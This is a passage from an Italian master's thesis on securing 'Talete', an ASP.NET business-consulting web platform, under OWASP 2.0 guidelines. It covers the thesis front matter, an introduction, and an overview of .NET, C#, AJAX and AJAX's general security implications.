analisi e gestione della sicurezza di una complessa applicazione ...

UNIVERSITÀ POLITECNICA DELLE MARCHE
FACOLTÀ DI INGEGNERIA
Corso di Laurea in Ingegneria Informatica (LS)
ANALISI E GESTIONE DELLA SICUREZZA
DI UNA COMPLESSA APPLICAZIONE
WEB SECONDO LE LINEE GUIDA
INTERNAZIONALI OWASP 2.0.
RELATORE: LAUREANDO:
chiar.mo Prof. A. F. Dragoni Vocino Angelo
Anno Accademico 2006/2007

A mamma e papà,
alla mia sorellina Grazia
e a Francesca, una ragazza unica...
Angelo
“Se un uomo parte con delle certezze
finirà con dei dubbi; ma se si
accontenta di iniziare con qualche
dubbio, arriverà alla fine a
qualche certezza”
F. Bacone

INDICE
INDICE ..................................................................................................................................................... 1
ELENCO DELLE FIGURE...................................................................................................................... 3
CAPITOLO I - Introduzione ................................................................................................................... 5
1.1 Obiettivo del lavoro .................................................................................................................. 6
1.2 Struttura della tesi ................................................................................................................... 10
CAPITOLO II - Talete: Autenticazione ed Autorizzazione................................................................... 11
2.1 Introduzione alle tecnologie usate in Talete: il framework .NET........................................... 12
2.1.1 Le applicazioni Asp.NET................................................................................................ 13
2.1.2 Il linguaggio C# .............................................................................................................. 15
2.2 La tecnologia AJAX................................................................................................................ 16
2.2.1 Le implicazioni di sicurezza di AJAX ............................................................................ 20
2.3 Talete: come si presenta.......................................................................................................... 22
2.4 Progettazione della piattaforma Talete ................................................................................... 24
2.4.1 Analisi dei requisiti ......................................................................................................... 25
2.4.2 Diagrammi UML............................................................................................................. 28
2.4.3 Diagramma dei casi d’uso............................................................................................... 28
2.4.4 Diagramma delle attività................................................................................................. 30
2.4.5 Diagramma delle classi ................................................................................................... 33
2.4.6 Implementazione della soluzione.................................................................................... 34
2.4.7 Collaudo del sistema ....................................................................................................... 37
CAPITOLO III - Progettare un’applicazione: i design pattern............................................................ 40
3.1 Introduzione alla progettazione di applicazioni object-oriented............................................. 41
3.2 Il significato dei design pattern............................................................................................... 43
3.3 Il cluster dei pattern GoF ........................................................................................................ 44
3.4 I design pattern usati in Talete ................................................................................................ 46
CAPITOLO IV - La sicurezza nelle web applications ............................................................................ 52
4.1 Introduzione ............................................................................................................................ 53
4.2 Evoluzione degli attacchi........................................................................................................ 54
4.3 Caratteristiche e problematiche legate alla sicurezza ............................................................. 56
4.3.1 La sicurezza dei dati........................................................................................................ 57
4.4 Certificati ................................................................................................................................ 59
4.4.1 Come lavora SSL ............................................................................................................ 63
4.4.2 Obiettivi SSL................................................................................................................... 66
4.4.3 Come usare male SSL..................................................................................................... 66
4.5 Principi di sicurezza in Asp.NET............................................................................................ 67
4.5.1 Autenticazione e autorizzazione in Asp.NET................................................................. 69
4.5.2 L’utente in Asp.NET: Principal e Identity...................................................................... 71
4.5.3 Web.config: il tag ................................................................................. 75
4.5.4 API per la sicurezza ........................................................................................................ 78
4.6 Controlli per gestire l’accesso e l’autenticazione in Asp.NET 2.0 ......................................... 83
4.7 La sicurezza in Asp.NET: il ViewState .................................................................................. 88
4.7.1 Il ViewState in Asp.NET 2.0 ................................................................................................ 90
1

CAPITOLO V - La sicurezza nell’architettura di un’applicazione ...................................................... 93
5.1 Architettura a più livelli di un’applicazione web.................................................................... 94
5.2 L’SDL ..................................................................................................................................... 95
5.3 Il threat modeling.................................................................................................................... 99
5.4 “Microsoft Threat Analysis & Modeling Tool”.................................................................... 103
5.5 Considerazioni sul threat modeling....................................................................................... 109
CAPITOLO VI - Gli attacchi e il progetto OWASP............................................................................ 111
6.1 Progetto OWASP .................................................................................................................. 113
6.2 Unvalidated input.................................................................................................................. 114
6.2.1 SQL Injection................................................................................................................ 116
6.2.2 Quanti danni può fare?.................................................................................................. 118
6.2.3 Quale linguaggio e quale tecnologia? ........................................................................... 120
6.2.4 Proteggersi dalla SQL injection .................................................................................... 122
6.2.5 I vantaggi nascosti......................................................................................................... 123
6.2.6 Tentativi di SQL Injection in Talete ............................................................................. 126
6.3 Broken Access Control ......................................................................................................... 128
6.4 Broken Authentication e Session Management .................................................................... 130
6.5 Cross Site Scripting............................................................................................................... 135
6.6 Buffer Overflow.................................................................................................................... 141
6.7 Injection Flaw ....................................................................................................................... 142
6.8 Improper Error Handling ...................................................................................................... 143
6.9 Insecure Storage.................................................................................................................... 146
6.10 Denial of Service................................................................................................................... 147
6.11 Insecure Configuration Management.................................................................................... 149
CAPITOLO VII - Test per valutare la sicurezza di Talete.................................................................. 151
7.1 Gli strumenti per la sicurezza delle web applications........................................................... 152
7.1.1 Analisi del codice sorgente ........................................................................................... 153
7.1.2 Black-box scanner......................................................................................................... 153
7.1.3 Altri strumenti............................................................................................................... 154
7.2 “Web Vulnerability Scanner” ............................................................................................... 155
Conclusioni e sviluppi futuri................................................................................................................. 160
2

ELENCO DELLE FIGURE
Figura 1 Home page di Talete.................................................................................................................. 8
Figura 2 Generare codice con compilatori .NET.................................................................................. 12
Figura 3 Struttura del framework .NET ................................................................................................. 13
Figura 4 La natura asincrona di AJAX .................................................................................................. 18
Figura 5 Ajax in Talete: RadAjaxPanel ................................................................................................. 19
Figura 6 I 3 livelli di Talete.................................................................................................................... 22
Figura 7 Aree di Talete........................................................................................................................... 23
Figura 8 Applicazioni dell’area CdG di Talete...................................................................................... 23
Figura 9 Anagrafiche dell’applicazione ORG di Talete ........................................................................ 23
Figura 10 Funzionamento del sistema ................................................................................................... 27
Figura 11 Diagramma dei casi d’uso..................................................................................................... 30
Figura 12 Diagramma delle attività....................................................................................................... 32
Figura 13 Diagramma delle classi......................................................................................................... 33
Figura 14 Pagine di amministrazione .................................................................................................... 34
Figura 15 Esempio di organizzazione: “AngeloChitarre” .................................................................... 35
Figura 16 La pagina “Autorizzazioni” .................................................................................................. 35
Figura 17 Albero con check nella pagina “Autorizzazioni”.................................................................. 36
Figura 18 Il bottone “Salva i permessi” ................................................................................................ 37
Figura 19 I 23 design pattern................................................................................................................. 45
Figura 20 Template Method in Talete.................................................................................................... 50
Figura 21 Statistiche degli attacchi nel 2007......................................................................................... 53
Figura 22 Tipi di attacco........................................................................................................................ 55
Figura 23 Codice di verifica di trasferimento su un canale sicuro........................................................ 61
Figura 24 Accesso a Talete .................................................................................................................... 62
Figura 25 Pacchetto con username e password..................................................................................... 62
Figura 26 Fasi dell’SSL.......................................................................................................................... 65
Figura 27 Modello di sicurezza in Asp.NET .......................................................................................... 68
Figura 28 Interfaccia IIdentity ............................................................................................................... 72
Figura 29 Interfaccia IPrincipal ............................................................................................................ 72
Figura 30 Classe “TaleteIdentity” in Talete.......................................................................................... 74
Figura 31 Interfaccia “IPrincipal” in Talete......................................................................................... 75
Figura 32 Esempio n°1 di nel web.config .................................................................. 76
Figura 33 Esempio n°2 di nel web.config .................................................................. 76
Figura 34 Web.config di Talete.............................................................................................................. 77
Figura 35 Autenticazione e autorizzazione in Asp.NET......................................................................... 78
Figura 36 Membership API.................................................................................................................... 80
Figura 37 Roles API ............................................................................................................................... 82
Figura 38 Controllo “Login”................................................................................................................. 84
Figura 39 Controllo “LoginStatus”....................................................................................................... 84
Figura 40 Controllo “LoginName” ....................................................................................................... 84
Figura 41 Controllo “LoginView”......................................................................................................... 85
Figura 42 Controllo “LoginView” in Talete: LoggedInTemplate ......................................................... 85
Figura 43 Controllo “LoginView”in Talete: AnonymousTemplate....................................................... 85
3

Figura 44 Controllo “CreateUserWizard”............................................................................................ 86
Figura 45 Controllo “ChangePassword”.............................................................................................. 87
Figura 46 Controllo “PasswordRecovery” ........................................................................................... 87
Figura 47 Esempio d’uso del ViewStateEncryptionMode..................................................................... 91
Figura 48 Esempio d’uso del RegisterRequiresViewStateEncryption ................................................... 91
Figura 49 Architettura a tre livelli ......................................................................................................... 95
Figura 50 I tre aspetti dell’SDL ............................................................................................................. 97
Figura 51 Cronologia dell’SDL ............................................................................................................. 98
Figura 52 Elementi del “threat modeling” ......................................................................................... 100
Figura 53 Threat Modeling: panoramica dell’architettura ................................................................. 100
Figura 54 Threat modeling: livelli dell’architettura............................................................................ 101
Figura 55 Threat Model Wizard........................................................................................................... 104
Figura 56 Report del TAM: la matrice di accesso ............................................................................... 107
Figura 57 Report del TAM: gli use case generati automaticamente.................................................... 107
Figura 58 Report del TAM: le contromisure........................................................................................ 108
Figura 59 Report del TAM: le best practices per evitare SQL Injection .............................................. 109
Figura 60 Possibili attacchi sui 4 livelli di una web application......................................................... 112
Figura 61 Logo OWASP....................................................................................................................... 113
Figura 62 Protocollo HTTP ................................................................................................................. 115
Figura 63 Uso dei parameters in Talete .............................................................................................. 121
Figura 64 Conversione del DateTime nelle query SQL ....................................................................... 124
Figura 65 Uso dei parameters con le date........................................................................................... 125
Figura 66 Proprietà “Organizzazioni” della classe Concessionario.................................................. 126
Figura 67 Gestione dei token di sessione............................................................................................. 131
Figura 68 XSS con un sito vulnerabile................................................................................................. 135
Figura 69 Esempio di attacco di “ cross site scripting”...................................................................... 137
Figura 70 WVS: target e tecnologia da testare.................................................................................... 156
Figura 71 WVS: opzioni di scansione .................................................................................................. 157
Figura 72 Risultati della scansione con WVS ...................................................................................... 158
4

CAPITOLO I - Introduzione
5

1.1 Obiettivo del lavoro
CAPITOLO I - Introduzione
Contemporaneamente all’enorme crescita di Internet, è stato possibile registrare un enorme
cambiamento delle applicazioni informatiche che stanno diventando sempre più interconnesse
tra loro. Fino a qualche tempo fa, i PC erano di solito delle “isole” di funzionalità, con poca, se
non nulla, interconnessione e quindi non era un grosso problema se un’applicazione era
insicura, l’importante era che svolgesse la sua mansione con successo; per questo l’argomento
sicurezza non era assolutamente al centro dei pensieri di uno sviluppatore.
Ormai i tempi sono cambiati. Nell’era di Internet, virtualmente tutti i computer – server,
desktop PC, e i più recenti dispositivi tascabili – sono interconnessi tra loro. Sebbene questo
crea notevoli possibilità di sviluppo per le aziende e per gli sviluppatori software, d’altra parte
fa pensare anche che queste macchine interconnesse possano essere attaccate; Internet è un
ambiente “ostile” e quindi bisogna progettare tutto il codice per difendersi dalle minacce. In
pratica quest’apertura al mondo attraverso il web porta con sé l’inevitabile conseguenza di una
maggiore vulnerabilità. Infatti, oltre agli utenti previsti per le applicazioni, è naturale entrare in
contatto con utenti che abusano di esse per fini diversi da quelli per cui sono state progettate. E’
necessario, dunque, proteggere il patrimonio informativo di un’azienda o di un ente pubblico da
tutta una serie di aggressioni ed abusi.
Da anni si registra un incremento costante degli attacchi alle architetture web-based tanto da
costituirne oggi la modalità privilegiata. Dagli inizi del 2003 la maggior parte degli attacchi
viene messa a segno utilizzando vulnerabilità legate ad errori di configurazione delle
applicazioni o a fattori intrinseci. La diversificazione e tutte le combinazioni possibili rendono
questi attacchi sempre più efficaci e diffusi; un attacco può andare a compromettere una
qualsiasi delle componenti di un’architettura web, firewall di protezione perimetrale,
webserver, middleware, applicativi, database e inoltre coinvolge diversi attori (sistemista,
programmatore), chi attivamente chi inconsapevolmente e soprattutto l’utente finale.
Ma perché sviluppare pensando da subito alla sicurezza? Alla domanda si cercherà di
rispondere con questo lavoro in cui, oltre all’analisi delle varie problematiche che riguardano la
sicurezza delle applicazioni web seguendo le linee guida owasp 2.0, sono state applicate alcune
6

CAPITOLO I - Introduzione
tecniche e metodologie di protezione nello sviluppo di una piattaforma di nome “Talete” per
ridurre notevolmente i punti d’attacco e le falle che potrebbero causare l’insuccesso di essa.
Questo lavoro è diviso in 2 parti, sostanzialmente entrambe connesse all’argomento “sicurezza
in una web application”: nella prima, legata più all’implementazione di alcune pagine per il
funzionamento della piattaforma, è stato gestito il meccanismo di accesso all’applicazione a
seconda dei permessi che si hanno. Infatti gli utenti che accedono a Talete appartengono a
categorie diverse: ci sono “Concessionari”, “Proprietari”, “Consulenti”, ecc.; tutti devono
essere autenticati, ma solo alcuni possono vedere determinati dati, altri possono anche
modificarli e cosi via. Nella seconda parte sono state analizzate tutte le vulnerabilità critiche di
applicazioni di questo tipo valutando il grado di protezione e di sicurezza di Talete. Esso
(http://www.talete.net) è un progetto per l’erogazione di servizi di consulenza alle imprese,
attraverso lo sviluppo di una piattaforma per l’immagazzinamento dei dati (con database
MySQL) e la gestione delle comunicazioni; si tratta di un’applicazione Asp.NET creata usando
l’ambiente Microsoft Visual Studio 2005 e implementata usando C# come linguaggio di
programmazione.
La piattaforma tecnologica ha un’interfaccia web, utilizza un’unica base di dati condivisa ed è
composta dalle seguenti aree:
1 Sistema per il controllo economico della gestione
2 Sistema di gestione per la qualità
3 Sistema di gestione ambientale
4 Sistema di gestione per la salute e la sicurezza sui luoghi di lavoro
5 Sistema di gestione per la sicurezza dei dati
6 Sistema di gestione per l’igiene degli alimenti (HACCP)
7

Figura 1 Home page di Talete
CAPITOLO I - Introduzione
Il presente lavoro è stato sviluppato in collaborazione con l’EQUIPE SRL, azienda fondata nel
1990 con sede legale, amministrativa e generale situata ad Ancona, che coordina tutta l’attività
a livello strategico e direzionale.
L’Equipe offre alle Piccole e Medie Imprese, e agli enti pubblici, consulenza strategica e
direzionale, assistenza, trasferimento di tecniche e metodologie di gestione ed organizzazione,
service e temporary management, per la gestione dei principali processi aziendali, in modo
sempre personalizzato alle loro esigenze e realtà oggettive, concentrando in un unico schema
organizzativo le diverse applicazioni che un’Azienda/Ente richiede. Le aree in cui l’Equipe
opera sono sostanzialmente 5:
1 Organizzazione: l’obiettivo specifico è il miglioramento dell’efficacia, dell’efficienza
sia gestionale che produttiva, attraverso la mappatura dei principali processi e il
dimensionamento quantitativo e qualitativo ottimale delle risorse.
8

CAPITOLO I - Introduzione
2 Gestione: analisi, progettazione e attuazione del sistema di Controllo economico della
Gestione e contabilità industriale con la fornitura di software sviluppato dall’Equipe e
personalizzato alle esigenze dell’azienda cliente
3 Marketing: studio e sviluppo di processi di marketing strategico per l’esportazione di
prodotti nei settori agroalimentari e moda.
4 Qualità totale: introduzione, sviluppo e mantenimento di Sistemi di gestione per la
Qualità UNI EN ISO 9000 – VISION 2000 mirati e modellati per ogni specifica realtà.
5 Gestione Ambientale: introduzione, sviluppo, e mantenimento di Sistemi di Gestione
Ambientale UNI EN ISO 14000 ed EMAS mirati al monitoraggio, controllo e
miglioramento dell’impatto ambientale.
Nella piattaforma Talete sono integrate tutte queste aree applicative, cercando di dare ai clienti
(siano essi aziende, banche, enti pubblici), tramite un’interfaccia web semplice e intuitiva, un
software per gestire l’intera organizzazione in modo automatizzato e preciso.
Un’altra risposta alla domanda precedente è che i sistemi sicuri sono sistemi di qualità; in
particolare il codice progettato e implementato pensando alla sicurezza come una delle prime
feature è più robusto e quindi di maggiore qualità rispetto a quello in cui l’aspetto sicurezza va
considerato come secondario e magari aggiunto alla fine o in corso di svolgimento.
9

1.2 Struttura della tesi
CAPITOLO I - Introduzione
La tesi è articolata in sette capitoli: il secondo introduce il framework .NET, il linguaggio C# e
la tecnologia AJAX con le sue implicazioni sulla sicurezza. Viene introdotta la piattaforma
Talete e il meccanismo di autenticazione e autorizzazione partendo dalla fase di analisi dei
requisiti e seguendo tutte le fasi previste dall’Ingegneria del software, ovvero la progettazione
l’implementazione e il collaudo; ci si avvale del linguaggio UML per le notazioni grafiche
relative agli schemi progettuali.
Il terzo capitolo è dedicato ai design pattern, che permettono di rendere riusabili ed estendibili
le applicazioni object-oriented; vengono presentati i pattern classici e quelli usati in Talete.
Nel quarto capitolo s’inizia a parlare di “sicurezza di una web application”, partendo da
un’analisi dell’evoluzione degli attacchi, introducendo la sicurezza sui dati e i certificati
(tecnologia SSL), e concludendo con la descrizione e l’applicazione delle tecniche di sicurezza
di Asp.NET 2.0.
Il quinto capitolo sottolinea l’importanza della sicurezza applicata sin dalla fase di
progettazione e quindi all’architettura di una web application; viene usato un tool di Microsoft
“Threat Analysis & Modeling ” per la modellazione delle minacce.
Nel sesto capitolo viene passata in rassegna la Top Ten dell’OWASP, la classifica delle dieci
minacce più pericolose per le applicazioni web, e vengono descritte le contromisure applicate a
Talete per respingere questi attacchi.
Il settimo ed ultimo capitolo contiene un test effettuato tramite un software che ricerca
vulnerabilità nelle web applications, il “Web Vulnerability Scanner”, secondo il quale il grado
di sicurezza di Talete è abbastanza elevato.
10

CAPITOLO II - Talete: Autenticazione ed
Autorizzazione
11

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
2.1 Introduzione alle tecnologie usate in Talete: il framework .NET
Talete è una web application sviluppata sul framework .NET, realizzato da Microsoft per
sistemi operativi Windows. Il framework .NET fornisce una miriade di moduli, classi e librerie
per le più comuni necessità di programmazione (interfacce utente, accesso ai dati, crittografia,
applicazioni web, supporto ai protocolli di comunicazione, etc.): i programmatori possono
usare questa sterminata class library combinandola con il codice scritto da loro stessi.
Il codice prodotto dai compilatori .NET non è un linguaggio macchina specifico per un
microprocessore, ma piuttosto un linguaggio intermedio che, mediante opportune virtual
machine, è in grado di essere compilato on-the-fly ed essere eseguito su diverse piattaforme. La
virtual machine che consente di eseguire applicazioni .NET è parte del Common Language
Runtime (CLR) che è il modulo base, specifico per il SO, che interpreta ed esegue codice
MSIL (Microsoft Intermediate Language), occupandosi di funzionalità fondamentali come la
gestione della memoria, i meccanismi di sicurezza e la gestione delle eccezioni.
Figura 2 Generare codice con compilatori .NET
12

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
IL (Intermediate Language) e Metadati sono alla fine contenuti in uno o più PE (Portable
Executable) nella forma tradizionale: .exe( se è codice di programma eseguibile ) e .dll (se è un
insieme di librerie).
2.1.1 Le applicazioni Asp.NET
Figura 3 Struttura del framework .NET
Il volto Web del Framework .NET è meglio noto come Asp.NET. Per realizzare ed eseguire
un’applicazione Web con Asp.NET è necessario che nel sistema sia installato il framework
.NET ed un web server in grado di interpretare ed eseguire i file Asp.NET, che hanno
estensione .aspx. Visual Studio 2005 include un tool di sviluppo Web, “Visual Web
Developer”, che integra un piccolo server Web per consentire a tutti lo sviluppo di applicazioni
di questo tipo. Il web server interpreta la richiesta, compie delle elaborazioni e risponde
inviando al client una pagina web. Questa, in genere, è composta da codice HTML/XHTML
(standard del World Wide Web Consortium che riformula l’HTML come documento XML) da
13

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
regole CSS e da script che possono essere eseguiti direttamente dal client (tipicamente
Javascript).
È stato già accennato che il server prima di dare una risposta deve compiere un’elaborazione.
Nel caso si tratti della richiesta di una semplice pagina HMTL presente sulla macchina del
server (detta "statica"), l’elaborazione consiste solo nel prelievo del file dalle cartelle locali. Il
client potrebbe richiedere anche una pagina che non è presente sulle cartelle locali ma che deve
essere generata dinamicamente. In questo caso la richiesta è per una risorsa che contiene un
programma (uno script lato server) fatto per "costruire" la pagina di risposta (detta “dinamica”).
Questo script viene elaborato da un altro componente che è l’application server. Riepilogando
quando arriva una richiesta per una pagina dinamica, il server la manda all’application server
che risponde con la pagina HTML costruita ad hoc. Il motore di processamento Asp.NET si
occupa di compilare, se necessario, ed eseguire il codice della pagina che può essere scritto in
uno dei linguaggi del framework .NET, in genere C# o VB.net.
Nei più noti linguaggi di scripting lato server, come JSP e PHP e nelle stesse vecchie ASP, il
codice lato server viene scritto all’interno della pagina, nei punti in cui è necessaria
un’interazione con il server. Il web server in questi casi incontra il codice server side e si
occupa di inviarlo all’applicazione che lo può tradurre. Tutto il codice client side (HTML,
JavaScript), invece, viene inviato al client senza elaborazioni. In Asp.NET il processo è
completamente differente.
Quando una pagina è richiesta per la prima volta al server Asp.NET, viene compilata, e
trasformata in un class file scritto nel linguaggio MSIL. Il codice client side viene convertito in
un insieme di espressioni di tipo output.Write (in modo simile a quanto fanno i Java application
server quando convertono le pagine JSP nelle corrispondenti servlet). Le classi compilate non
necessitano di essere ricompilate quando vengono richieste una seconda volta salvo che non
abbiano subito delle modifiche.
Tipicamente un’applicazione Asp.NET consiste in un insieme di web form, ognuna delle quali
contiene oggetti. Sono oggetti ospitati ad esempio i pezzi di codice lato client (HTML), i
controlli server ed altri oggetti ereditati ad esempio tramite la direttiva import. Se si confronta
la velocità di Asp.NET rispetto ad ASP, è possibile notare un rallentamento di prestazioni
14

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
quando la pagina deve essere compilata, cioè la prima volta che viene richiesta, ma un notevole
aumento di prestazioni a regime.
2.1.2 Il linguaggio C#
La piattaforma .NET si può definire come una piattaforma multi-linguaggio: C#, VB.NET,
C++ e JScript.NET, ai quali si è aggiunto J#. Da un punto di vista astratto, come si è già detto,
la piattaforma è una sorta di middleware, vale a dire un ambiente di esecuzione che si pone al
di sopra del sistema operativo. Le principali funzionalità che un linguaggio per .NET deve
avere sono:
1 Object Oriented: organizzazione del codice in classi (la mente umana ragiona ad
oggetti), contenenti campi e metodi; utilizzo di classi già definite e possibilità di
personalizzazione di esse.
2 Eredità singola delle classi: definire le classi attraverso le “differenze” da una classe
base.
3 Tipi di valore e di riferimento: forte tipizzazione e distinzione tra strutture dati allocate
nella parte di memoria denominata stack e quella definita heap.
4 Gestione errori tramite eccezioni.
Tra tutti i linguaggi supportati da .NET, per la creazione di Talete, è stato scelto C#, linguaggio
creato da Microsoft specificatamente per il framework. C# è un linguaggio semplice, moderno,
orientato agli oggetti e fortemente tipizzato, derivato da C, da C++ e da Java. Alcune delle sue
caratteristiche sono:
− pieno supporto per le classi e la programmazione orientata agli oggetti, compresa
l’ereditarietà delle interfacce
15

− consistente e ben definito gruppo di tipi di base
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
supporto integrato per la generazione di documentazione XML
deallocazione automatica della memoria allocata dinamicamente
accesso completo alle classi di base di .NET e a tutte le API di Windows
supporto per proprietà ed eventi
cambiando le opzioni di compilazione, è possibile compilare un eseguibile o una libreria
di componenti .NET che possono essere richiamati da altro codice, allo stesso modo dei
controlli ActiveX (componenti COM)
gli assembly compilati per il framework .NET possono essere utilizzati sia da pagine
web dinamiche scritte in Asp.NET che da web service XML
2.2 La tecnologia AJAX
Dopo aver descritto a grandi linee come funziona il framework .NET e di conseguenza le
applicazioni Asp.NET, viene presentato un altro elemento fondamentale per la creazione di
Talete: la tecnologia AJAX per l’UI della piattaforma. Nell’ultimo anno questa tecnologia ha
ottenuto grande visibilità a causa della sua natura "interattiva"; Google Suggest e Google Maps
sono alcuni dei servizi più noti che fanno uso di AJAX, che è in grande espansione, in quanto
ogni tecnologia che migliora lo scambio dati con i server, che produce transizioni più fluide fra
pagine e rende le applicazioni web più ricche, trova facilmente grande visibilità.
Le classiche applicazioni web lavorano su un modello sincrono: ad una richiesta dal Web si fa
seguire una risposta che provoca alcune azioni sul livello di presentazione dell’applicazione.
Per esempio: il clic su un link o l’invio di un modulo eseguono una richiesta al Web server con
i relativi parametri. Il tradizionale comportamento "click and wait" (‘clicca e aspetta’) limita
16

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
l’interattività delle applicazioni. Questo problema è stato mitigato dall’uso di AJAX
(Asychronous Javascript and XML). Possiamo definire AJAX come il metodo con il quale
vengono eseguite chiamate asincrone al Web server senza causare un aggiornamento completo
della pagina Web. Questa interazione è resa possibile da tre componenti differenti: un
linguaggio di scripting lato client, l’oggetto XmlHttpRequest (XHR) object e l’XML.
Vediamo in breve questi tre componenti. Il linguaggio di scripting lato client è utilizzato per
inizializzare le chiamate al Web server e successivamente, in risposta alla richiesta, è utilizzato
per accedere e aggiornare il DOM all’interno del browser. La scelta più diffusa lato client è
JavaScript poiché ampiamente integrato nei browser moderni. Il secondo componente è
l’oggetto XHR: il cuore di tutto. Linguaggi come JavaScript utilizzano l’oggetto XHR per
inviare richieste al Web server "dietro le quinte" utilizzando l’HTTP come mezzo di trasporto.
In ultimo abbiamo una terza componente, il cui uso non è tuttavia strettamente necessario:
XML, ossia il formato con cui vengono scambiati i dati.
AJAX, dunque, non è una tecnologia nuova di zecca, ma una combinazione di tecnologie già
esistenti usate assieme per sviluppare applicazioni Web ad alta interattività. Gli sviluppatori
hanno trovato diversi usi di AJAX: in box testuali di suggerimento (come Google Suggest) e in
elenchi di dati autoaggiornabili. La natura asincrona di AJAX è illustrata nella figura seguente:
17

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Figura 4 La natura asincrona di AJAX
Per fare un esempio concreto, è possibile considerare che molti siti usano le tabelle per
visualizzare i dati. Per cambiare l’ordine di visualizzazione dei dati, con un’applicazione
tradizionale l’utente dovrebbe cliccare un link nell’intestazione della tabella che invierebbe una
richiesta al server per ricaricare la pagina con il nuovo ordine. Il web server allora invierebbe
una nuova query SQL al database ordinando i dati come richiesto, la eseguirebbe, prenderebbe
18

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
i dati e ricostruirebbe da zero la pagina web reinviandola integralmente all’utente. Usando le
tecnologie AJAX, questo evento potrebbe preferibilmente essere eseguito con un JavaScript
lato client che genera dinamicamente una vista dei dati con DHTML. Nella piattaforma Talete,
la tecnologia AJAX è stata applicata tramite l’uso dei controlli della Telerik come il
RadAjaxPanel, all’interno del quale è possibile inserire altri controlli come le griglie; in questo
modo si evita il meccanismo che prevede l’utilizzo continuo della stessa pagina che viene
inviata avanti e indietro dal server (postback), che può essere abbastanza fastidioso e
soprattutto lento. Considerando proprio le griglie, e in particolare gli ordinamenti all’interno di
esse, se si clicca su un menu poco popolato, o ancora quando si caricano nodi e sottonodi di
treeview, come è stato accennato, la pagina deve essere mandata indietro al server che dovrà
per esempio cambiare solamente una riga di una griglia e rielaborare di nuovo tutti i vari
controlli (esempio .ascx) e rimandarli indietro con notevole carico dalla parte del server oltre
che di consumo di banda. Mentre con un RadAjaxPanel si ha il cosiddetto funzionamento
"intelligente" delle pagine Web che girano lato client, ovvero che non subiscono una
rielaborazione da parte del server ad ogni postback, ma necessitano solo di un aggiornamento
delle parti che verranno effettivamente modificate.
Oltre che nella pagina master, è possibile vedere l’uso del RadAjaxPanel nella pagina delle
Organizzazioni:
Figura 5 Ajax in Talete: RadAjaxPanel
19

CAPITOLO II - Talete: Autenticazione ed Autorizzazione
La griglia relativa agli utenti dell’organizzazione è inserita in un RadAjaxPanel; in questo
modo, qualsiasi operazione relativa ad essa, quindi l’aggiunta o la rimozione di un nuovo
utente, comporterà l’aggiornamento solo della griglia, mentre il resto della pagina non sarà
rielaborato.
2.2.1 Le implicazioni di sicurezza di AJAX
Dopo aver esaminato le basi di AJAX, vengono ora discusse le implicazioni di sicurezza legate
a questa tecnologia. AJAX non introduce per sua natura nuove vulnerabilità di sicurezza nel
regno delle applicazioni Web. Anzi, le nuove applicazioni hanno di fronte gli stessi problemi di
sicurezza di quelle classiche. Sfortunatamente per AJAX non sono state sviluppate buone
pratiche comuni, ed è facile per questo incorrere in errore; bisogna considerare l’assegnamento
delle giuste autenticazioni, autorizzazioni, controlli di accesso e validazione degli input
dell’utente. Alcune aree potenziali di preoccupazione che riguardano l’uso di AJAX, sono:
• Controlli di sicurezza lato client
Qualcuno potrebbe suggerire che la dipendenza dalla programmazione lato client apre la
possibilità di introdurre in "prima linea" alcuni noti problemi di sicurezza. Tra questi c’è
l’improprio uso di controlli di sicurezza lato client da parte degli sviluppatori. Come già detto,
l’uso di AJAX richiede un bel po’ di codice di scripting lato client. Ora si sta cominciando a
scrivere codice sia lato client sia lato server e questo potrebbe spingere a implementare i
controlli di sicurezza dalla parte client della programmazione. Questo approccio è del tutto
insicuro, poiché gli aggressori potrebbero modificare qualsiasi porzione di codice eseguito sui
computer client al momento di testare le vulnerabilità dell’applicazione. I controlli di sicurezza
devono essere completamente implementati lato server o sempre rinforzati sul server.
20

• Ampliamento della superficie di attacco
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Una seconda sfida è legata alla difficoltà di rendere sicura la sempre più vasta superficie di
attacco, in quanto AJAX inevitabilmente aumenta la complessità generale del sistema. Nel
processo di uso di AJAX, si devono produrre un gran numero di pagine con accessi lato server,
ognuna di queste esegue alcune minime funzionalità (come la ricerca di un codice postale o
l’autocompletamento dei campi dei dati di residenza degli utenti) all’interno dell’applicazione.
Ognuna di queste piccole pagine diventa un nuovo obiettivo per gli aggressori e una nuova
zona da rendere sicura da vulnerabilità. Ciò è simile al concetto, ben noto nel campo della
sicurezza, dei punti di accesso multipli ad una casa: confrontate le difficoltà di proteggere una
casa con una porta con quelle di proteggerne una con dieci porte.
• Nuove possibilità di Cross-Site Scripting (XSS)
Un’altra cruda verità è che gli aggressori possono essere più creativi (in altre parole pericolosi)
nello sfruttare vulnerabilità di tipo Cross Site Scripting (presentata nel sesto capitolo).
Solitamente gli aggressori devono saper sfruttare dei buchi XSS in un mondo "a singolo
thread", in cui l’attacco è portato mentre il browser dell’utente è in stato di attesa. Questo stato
di attesa fornisce alcuni indizi visuali e di comportamento all’utente sul normale
funzionamento dell’applicazione. Con l’introduzione di AJAX, un aggressore può sfruttare
vulnerabilità Cross Site Scripting più facilmente. Mentre si controlla la posta elettronica
all’interno di un’applicazione scritta con AJAX, un eventuale codice nocivo potrebbe inviare
mail a tutti i conoscenti senza che il browser conceda nessun indizio visuale di quest’azione.
Adeguati e approfonditi test di sicurezza devono essere eseguiti prima di portare in produzione
le applicazioni in modo da circoscrivere queste aree di interesse. In un sistema sicuro i controlli
di sicurezza sono inclusi in un ambiente che è fuori dal controllo dell’utente.
Proprio come le classiche applicazioni web, tutte le richieste AJAX dovrebbero essere
verificate dal punto di vista delle autorizzazioni. Si potrebbe cadere vittima della credenza che
l’autorizzazione non è più necessaria solo perché una pagina è richiamata in background
mediante l’uso di un motore di scripting lato client. Ma sarebbe un errore.
21

2.3 Talete: come si presenta
CAPITOLO II - Talete: Autenticazione ed Autorizzazione
Talete si espande su 3 livelli che sono: aree, applicazioni e anagrafiche. L’aspetto preso in
considerazione durante questa tesi è quello dell’amministrazione del progetto Talete, che si
esplica tramite le autorizzazioni, vale a dire fare in modo che determinati utenti abbiano
accesso a delle pagine, e che all’interno di esse vengano diversificate le azioni che si possono
eseguire a seconda del ruolo che l’utente ricopre nell’organizzazione.
